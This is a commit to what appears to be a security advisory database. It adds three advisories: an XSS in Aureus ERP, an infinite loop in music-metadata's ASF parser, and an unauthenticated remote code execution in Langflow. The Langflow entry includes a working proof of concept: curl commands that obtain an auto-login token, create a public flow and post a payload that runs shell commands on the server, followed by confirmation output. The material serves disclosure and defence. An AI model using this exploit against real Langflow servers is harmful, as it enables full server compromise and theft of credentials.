Skip to content

Commit 7c123bd

Browse files
1 parent 9c9cccc commit 7c123bd

4 files changed

Lines changed: 214 additions & 6 deletions

File tree

advisories/unreviewed/2026/03/GHSA-76c2-3q6g-xvpm/GHSA-76c2-3q6g-xvpm.json renamed to advisories/github-reviewed/2026/03/GHSA-76c2-3q6g-xvpm/GHSA-76c2-3q6g-xvpm.json

Lines changed: 31 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,23 +1,44 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-76c2-3q6g-xvpm",
4-
"modified": "2026-03-16T15:30:45Z",
4+
"modified": "2026-03-17T20:05:41Z",
55
"published": "2026-03-16T15:30:44Z",
66
"aliases": [
77
"CVE-2026-4175"
88
],
9-
"details": "A vulnerability was determined in Aureus ERP up to 1.3.0-BETA2. The affected element is an unknown function of the file plugins/webkul/chatter/resources/views/filament/infolists/components/messages/content-text-entry.blade.php of the component Chatter Message Handler. Executing a manipulation of the argument subject/body can lead to cross site scripting. The attack can be launched remotely. Upgrading to version 1.3.0-BETA1 is sufficient to fix this issue. This patch is called 2135ee7efff4090e70050b63015ab5e268760ec8. It is suggested to upgrade the affected component.",
9+
"summary": "Aureus ERP vulnerable to cross-site scripting in the Chatter Message Handler",
10+
"details": "A vulnerability was determined in Aureus ERP up to 1.3.0-BETA1. The affected element is an unknown function of the file plugins/webkul/chatter/resources/views/filament/infolists/components/messages/content-text-entry.blade.php of the component Chatter Message Handler. Executing a manipulation of the argument subject/body can lead to cross site scripting. The attack can be launched remotely. Upgrading to version 1.3.0-BETA1 is sufficient to fix this issue. This patch is called 2135ee7efff4090e70050b63015ab5e268760ec8. It is suggested to upgrade the affected component.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V3",
1314
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N"
1415
},
1516
{
1617
"type": "CVSS_V4",
17-
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
18+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
19+
}
20+
],
21+
"affected": [
22+
{
23+
"package": {
24+
"ecosystem": "Packagist",
25+
"name": "aureuserp/aureuserp"
26+
},
27+
"ranges": [
28+
{
29+
"type": "ECOSYSTEM",
30+
"events": [
31+
{
32+
"introduced": "0"
33+
},
34+
{
35+
"fixed": "1.3.0-BETA1"
36+
}
37+
]
38+
}
39+
]
1840
}
1941
],
20-
"affected": [],
2142
"references": [
2243
{
2344
"type": "ADVISORY",
@@ -31,6 +52,10 @@
3152
"type": "WEB",
3253
"url": "https://github.com/aureuserp/aureuserp/commit/2135ee7efff4090e70050b63015ab5e268760ec8"
3354
},
55+
{
56+
"type": "PACKAGE",
57+
"url": "https://github.com/aureuserp/aureuserp"
58+
},
3459
{
3560
"type": "WEB",
3661
"url": "https://github.com/aureuserp/aureuserp/releases/tag/v1.3.0-BETA1"
@@ -53,8 +78,8 @@
5378
"CWE-79"
5479
],
5580
"severity": "MODERATE",
56-
"github_reviewed": false,
57-
"github_reviewed_at": null,
81+
"github_reviewed": true,
82+
"github_reviewed_at": "2026-03-17T20:05:41Z",
5883
"nvd_published_at": "2026-03-16T14:19:58Z"
5984
}
6085
}
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-v6c2-xwv6-8xf7",
4+
"modified": "2026-03-17T20:04:48Z",
5+
"published": "2026-03-17T20:04:48Z",
6+
"aliases": [
7+
"CVE-2026-32256"
8+
],
9+
"summary": "music-metadata has an infinite loop vulnerability in ASF parser",
10+
"details": "# Summary\n\nmusic-metadata's ASF parser (`parseExtensionObject()` in `lib/asf/AsfParser.ts:112-158`) enters an infinite loop when a sub-object inside the ASF Header Extension Object has `objectSize = 0`.\n\n## Root Cause\n\nWhen objectSize is 0:\n1. `remaining = 0 - 24 = -24`\n2. `tokenizer.ignore(-24)` moves the read position backward by 24 bytes\n3. `extensionSize -= 0` (loop counter never decreases)\n4. `while (extensionSize > 0)` never exits\n5. The same 24-byte header is re-read infinitely\n\nThis is the same pattern as CVE-2026-31808 (GHSA-5v7r-6r5c-r473) in file-type — strtok3's `AbstractTokenizer.ignore()` accepts negative values without validation.\n\n## Affected Methods\n- `parseFile()` — HANGS (FileTokenizer inherits vulnerable ignore())\n- `parseBuffer()` — HANGS (BufferTokenizer inherits vulnerable ignore())\n- `parseStream()` — NOT affected (ReadStreamTokenizer has own ignore() that throws RangeError)\n\n## Impact\nA 100-byte crafted .asf file permanently hangs any application using parseFile() or parseBuffer(). music-metadata has 2.2M weekly npm downloads.\n\n## Suggested Fix\nValidate `objectSize >= minimumHeaderSize` before calculating the payload. Or fix strtok3's `AbstractTokenizer.ignore()` to reject negative values.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "music-metadata"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "11.12.3"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 11.12.1"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/Borewit/music-metadata/security/advisories/GHSA-v6c2-xwv6-8xf7"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/Borewit/music-metadata"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/Borewit/music-metadata/releases/tag/v11.12.3"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-835"
58+
],
59+
"severity": "HIGH",
60+
"github_reviewed": true,
61+
"github_reviewed_at": "2026-03-17T20:04:48Z",
62+
"nvd_published_at": null
63+
}
64+
}
Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-vwmf-pq79-vjvx",
4+
"modified": "2026-03-17T20:05:05Z",
5+
"published": "2026-03-17T20:05:05Z",
6+
"aliases": [
7+
"CVE-2026-33017"
8+
],
9+
"summary": "Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint",
10+
"details": "## Summary\n\nThe `POST /api/v1/build_public_tmp/{flow_id}/flow` endpoint allows building public flows without requiring authentication. When the optional `data` parameter is supplied, the endpoint uses **attacker-controlled flow data** (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to `exec()` with zero sandboxing, resulting in unauthenticated remote code execution.\n\nThis is distinct from CVE-2025-3248, which fixed `/api/v1/validate/code` by adding authentication. The `build_public_tmp` endpoint is **designed** to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.\n\n## Affected Code\n\n### Vulnerable Endpoint (No Authentication)\n\n**File:** `src/backend/base/langflow/api/v1/chat.py`, lines 580-657\n\n```python\n@router.post(\"/build_public_tmp/{flow_id}/flow\")\nasync def build_public_tmp(\n *,\n flow_id: uuid.UUID,\n data: Annotated[FlowDataRequest | None, Body(embed=True)] = None, # ATTACKER CONTROLLED\n request: Request,\n # ... NO Depends(get_current_active_user) -- MISSING AUTH ...\n):\n \"\"\"Build a public flow without requiring authentication.\"\"\"\n client_id = request.cookies.get(\"client_id\")\n owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id)\n\n job_id = await start_flow_build(\n flow_id=new_flow_id,\n data=data, # Attacker's data passed directly to graph builder\n current_user=owner_user,\n ...\n )\n```\n\nCompare with the authenticated build endpoint at line 138, which requires `current_user: CurrentActiveUser`.\n\n### Code Execution Chain\n\nWhen attacker-supplied `data` is provided, it flows through:\n\n1. `start_flow_build(data=attacker_data)` → `generate_flow_events()` -- `build.py:81`\n2. `create_graph()` → `build_graph_from_data(payload=data.model_dump())` -- `build.py:298`\n3. `Graph.from_payload(payload)` parses attacker nodes -- `base.py:1168`\n4. `add_nodes_and_edges()` → `initialize()` → `_build_graph()` -- `base.py:270,527`\n5. `_instantiate_components_in_vertices()` iterates nodes -- `base.py:1323`\n6. `vertex.instantiate_component()` → `instantiate_class(vertex)` -- `loading.py:28`\n7. `code = custom_params.pop(\"code\")` extracts attacker code -- `loading.py:43`\n8. `eval_custom_component_code(code)` → `create_class(code, class_name)` -- `eval.py:9`\n9. `prepare_global_scope(module)` -- `validate.py:323`\n10. `exec(compiled_code, exec_globals)` -- **ARBITRARY CODE EXECUTION** -- `validate.py:397`\n\n### Unsandboxed exec() in prepare_global_scope\n\n**File:** `src/lfx/src/lfx/custom/validate.py`, lines 340-397\n\n```python\ndef prepare_global_scope(module):\n exec_globals = globals().copy()\n\n # Imports are resolved first (any module can be imported)\n for node in imports:\n module_obj = importlib.import_module(module_name) # line 352\n exec_globals[variable_name] = module_obj\n\n # Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)\n if definitions:\n combined_module = ast.Module(body=definitions, type_ignores=[])\n compiled_code = compile(combined_module, \"<string>\", \"exec\")\n exec(compiled_code, exec_globals) # line 397 - ARBITRARY CODE EXECUTION\n```\n\n**Critical detail:** `prepare_global_scope` executes `ast.Assign` nodes. An attacker's code like `_x = os.system(\"id\")` is an assignment and will be executed during graph building -- before the flow even \"runs.\"\n\n## Prerequisites\n\n1. Target Langflow instance has at least **one public flow** (common for demos, chatbots, shared workflows)\n2. Attacker knows the public flow's UUID (discoverable via shared links/URLs)\n3. No authentication required -- only a `client_id` cookie (any arbitrary string value)\n\nWhen `AUTO_LOGIN=true` (the **default**), all prerequisites can be met by an unauthenticated attacker:\n1. `GET /api/v1/auto_login` → obtain superuser token\n2. `POST /api/v1/flows/` → create a public flow\n3. Exploit via `build_public_tmp` without any auth\n\n## Proof of Concept\n\n### Tested Against\n\n- **Langflow version 1.7.3** (latest stable release, installed via `pip install langflow`)\n- **Fully reproducible**: 6/6 runs confirmed RCE (two sets of 3 runs each)\n\n### Step 1: Obtain a Public Flow ID\n\n(In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO_LOGIN.)\n\n```bash\n# Get superuser token (no credentials needed when AUTO_LOGIN=true)\nTOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')\n\n# Create a public flow\nFLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"name\":\"test\",\"data\":{\"nodes\":[],\"edges\":[]},\"access_type\":\"PUBLIC\"}' \\\n | jq -r '.id')\n\necho \"Public Flow ID: $FLOW_ID\"\n```\n\n### Step 2: Exploit -- Unauthenticated RCE\n\n```bash\n# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint\n# NO Authorization header, NO API key, NO credentials\ncurl -X POST \"http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow\" \\\n -H \"Content-Type: application/json\" \\\n -b \"client_id=attacker\" \\\n -d '{\n \"data\": {\n \"nodes\": [{\n \"id\": \"Exploit-001\",\n \"type\": \"genericNode\",\n \"position\": {\"x\":0,\"y\":0},\n \"data\": {\n \"id\": \"Exploit-001\",\n \"type\": \"ExploitComp\",\n \"node\": {\n \"template\": {\n \"code\": {\n \"type\": \"code\",\n \"required\": true,\n \"show\": true,\n \"multiline\": true,\n \"value\": \"import os, socket, json as _json\\n\\n_proof = os.popen(\\\"id\\\").read().strip()\\n_host = socket.gethostname()\\n_write = open(\\\"/tmp/rce-proof\\\",\\\"w\\\").write(f\\\"{_proof} on {_host}\\\")\\n\\nfrom lfx.custom.custom_component.component import Component\\nfrom lfx.io import Output\\nfrom lfx.schema.data import Data\\n\\nclass ExploitComp(Component):\\n display_name=\\\"X\\\"\\n outputs=[Output(display_name=\\\"O\\\",name=\\\"o\\\",method=\\\"r\\\")]\\n def r(self)->Data:\\n return Data(data={})\",\n \"name\": \"code\",\n \"password\": false,\n \"advanced\": false,\n \"dynamic\": false\n },\n \"_type\": \"Component\"\n },\n \"description\": \"X\",\n \"base_classes\": [\"Data\"],\n \"display_name\": \"ExploitComp\",\n \"name\": \"ExploitComp\",\n \"frozen\": false,\n \"outputs\": [{\"types\":[\"Data\"],\"selected\":\"Data\",\"name\":\"o\",\"display_name\":\"O\",\"method\":\"r\",\"value\":\"__UNDEFINED__\",\"cache\":true,\"allows_loop\":false,\"tool_mode\":false,\"hidden\":null,\"required_inputs\":null,\"group_outputs\":false}],\n \"field_order\": [\"code\"],\n \"beta\": false,\n \"edited\": false\n }\n }\n }],\n \"edges\": []\n },\n \"inputs\": null\n }'\n```\n\n### Step 3: Verify Code Execution\n\n```bash\n# Wait 2 seconds for async graph building\nsleep 2\n\n# Check proof file written by attacker's code on the server\ncat /tmp/rce-proof\n# Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali\n```\n\n### Actual Test Results\n\n```\n======================================================================\nLANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST\n======================================================================\nVersion: Langflow 1.7.3\n\nRUN 1: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19\n *** REMOTE CODE EXECUTION CONFIRMED ***\n canary: RCE-f0d19b36\n hostname: kali\n uid: 1000\n whoami: aviral\n id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),...\n uname: Linux 6.16.8+kali-amd64\n\nRUN 2: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832\n *** REMOTE CODE EXECUTION CONFIRMED ***\n canary: RCE-6037a271\n\nRUN 3: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7\n *** REMOTE CODE EXECUTION CONFIRMED ***\n canary: RCE-4a796556\n\nFINAL RESULTS\n Total checks: 15\n VULNERABLE: 15\n SAFE: 0\n RCE confirmed: 3/3 runs\n Reproducible: YES (100%)\n```\n\n## Impact\n\n- **Unauthenticated Remote Code Execution** with full server process privileges\n- **Complete server compromise**: arbitrary file read/write, command execution\n- **Environment variable exfiltration**: API keys, database credentials, cloud tokens (confirmed in PoC: env_keys exfiltrated)\n- **Reverse shell access** for persistent access\n- **Lateral movement** within the network\n- **Data exfiltration** from all flows, messages, and stored credentials in the database\n\n## Comparison with CVE-2025-3248\n\n| Aspect | CVE-2025-3248 | This Vulnerability |\n|--------|--------------|-------------------|\n| **Endpoint** | `/api/v1/validate/code` | `/api/v1/build_public_tmp/{id}/flow` |\n| **Fix applied** | Added `Depends(get_current_active_user)` | None -- NEW vulnerability |\n| **Root cause** | Missing auth on code validation | Unauthenticated endpoint accepts attacker-controlled executable code via `data` param |\n| **Code execution via** | `validate_code()` → `exec()` | `create_class()` → `prepare_global_scope()` → `exec()` |\n| **CISA KEV** | Yes (actively exploited) | N/A (new finding) |\n| **Can simple auth fix?** | Yes (and it was fixed) | No -- endpoint is *designed* to be unauthenticated; the `data` parameter must be removed |\n\n## Recommended Fix\n\n### Immediate (Short-term)\n\n**Remove the `data` parameter** from `build_public_tmp`. Public flows should only execute their stored flow data, never attacker-supplied data:\n\n```python\n@router.post(\"/build_public_tmp/{flow_id}/flow\")\nasync def build_public_tmp(\n *,\n flow_id: uuid.UUID,\n inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,\n # REMOVED: data parameter -- public flows must use stored data only\n ...\n):\n```\n\nIn `generate_flow_events` → `create_graph()`, only the `build_graph_from_db` path should be reachable for unauthenticated requests:\n\n```python\nasync def create_graph(fresh_session, flow_id_str, flow_name):\n # For public flows, ALWAYS load from database, never from user data\n return await build_graph_from_db(\n flow_id=flow_id,\n session=fresh_session,\n ...\n )\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "langflow"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "1.8.1"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-vwmf-pq79-vjvx"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/langflow-ai/langflow"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-306",
51+
"CWE-95"
52+
],
53+
"severity": "CRITICAL",
54+
"github_reviewed": true,
55+
"github_reviewed_at": "2026-03-17T20:05:05Z",
56+
"nvd_published_at": null
57+
}
58+
}

0 commit comments

Comments
 (0)